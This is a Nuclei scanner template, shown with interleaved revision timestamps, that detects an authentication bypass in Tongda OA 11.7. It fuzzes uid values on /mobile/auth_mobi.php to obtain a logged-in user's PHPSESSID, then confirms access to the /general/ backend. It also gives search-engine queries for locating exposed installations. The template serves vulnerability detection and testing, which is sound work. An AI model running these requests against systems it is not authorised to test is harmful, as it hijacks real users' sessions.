nuclei-templates/http/vulnerabilities/tongda/tongda-auth-bypass.yaml

44 lines
1.7 KiB
YAML
Raw Permalink Normal View History

2023-07-20 16:54:32 +00:00
id: tongda-auth-bypass
2023-07-18 06:09:44 +00:00
info:
2023-07-20 16:54:32 +00:00
name: Tongda OA 11.7 - Authentication Bypass
2023-07-18 06:09:44 +00:00
author: HuTa0
severity: high
description: |
Tongda OA is a collaborative office automation software independently developed by Beijing Tongda Xinke Technology Co., LTD v11.7 has the interface query online user function, when the user is online, it will return PHPSESSION so that it can log in to the background system.
reference:
2023-07-18 08:09:44 +00:00
- https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/
2024-09-10 09:08:16 +00:00
classification:
cpe: cpe:2.3:a:tongda2000:office_anywhere:*:*:*:*:*:*:*:*
2023-07-18 06:09:44 +00:00
metadata:
verified: true
2023-10-14 11:27:55 +00:00
max-request: 200
2024-09-10 09:08:16 +00:00
vendor: tongda2000
product: office_anywhere
shodan-query: title:"通达OA"
2023-10-14 11:27:55 +00:00
fofa-query: title="通达OA"
zoomeye-query: app:"通达OA"
2024-03-19 15:20:31 +00:00
tags: tongda,auth-bypass,fuzz
2023-07-18 06:09:44 +00:00
http:
- raw:
2023-07-18 08:09:44 +00:00
- |
GET /mobile/auth_mobi.php?isAvatar=1&uid={{uid}}&P_VER=0 HTTP/1.1
Host: {{Hostname}}
2023-07-20 16:54:32 +00:00
- |
2023-07-18 08:09:44 +00:00
GET /general/ HTTP/1.1
Host: {{Hostname}}
2023-07-18 08:15:19 +00:00
2023-07-18 08:09:44 +00:00
payloads:
2023-07-18 08:15:19 +00:00
uid: helpers/wordlists/numbers.txt
2023-07-18 06:09:44 +00:00
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "len(body_1) == 0"
2023-07-20 16:54:32 +00:00
- '!contains(body_1, "RELOGIN")'
2023-07-18 06:09:44 +00:00
- "contains(header_1,'PHPSESSID=')"
2023-07-20 16:54:32 +00:00
- "status_code_1 == 200 && status_code_2 == 200"
- "contains(body_2,'user_id:') && contains(body_2,'user_name:') && contains(body_2,'var loginUser')"
2023-07-18 06:09:44 +00:00
condition: and
2024-09-12 05:14:01 +00:00
# digest: 4a0a00473045022100c887ed4e26213e51f912dda7370de9c1e516e798d0c2f915b3e46474a1aa09fd022049a9d74cd7c4d3dfd0fc10316cf19b10449ab8bd50cac61db20a00ca151c8d18:922c64590222798bb761d5b6d8e72950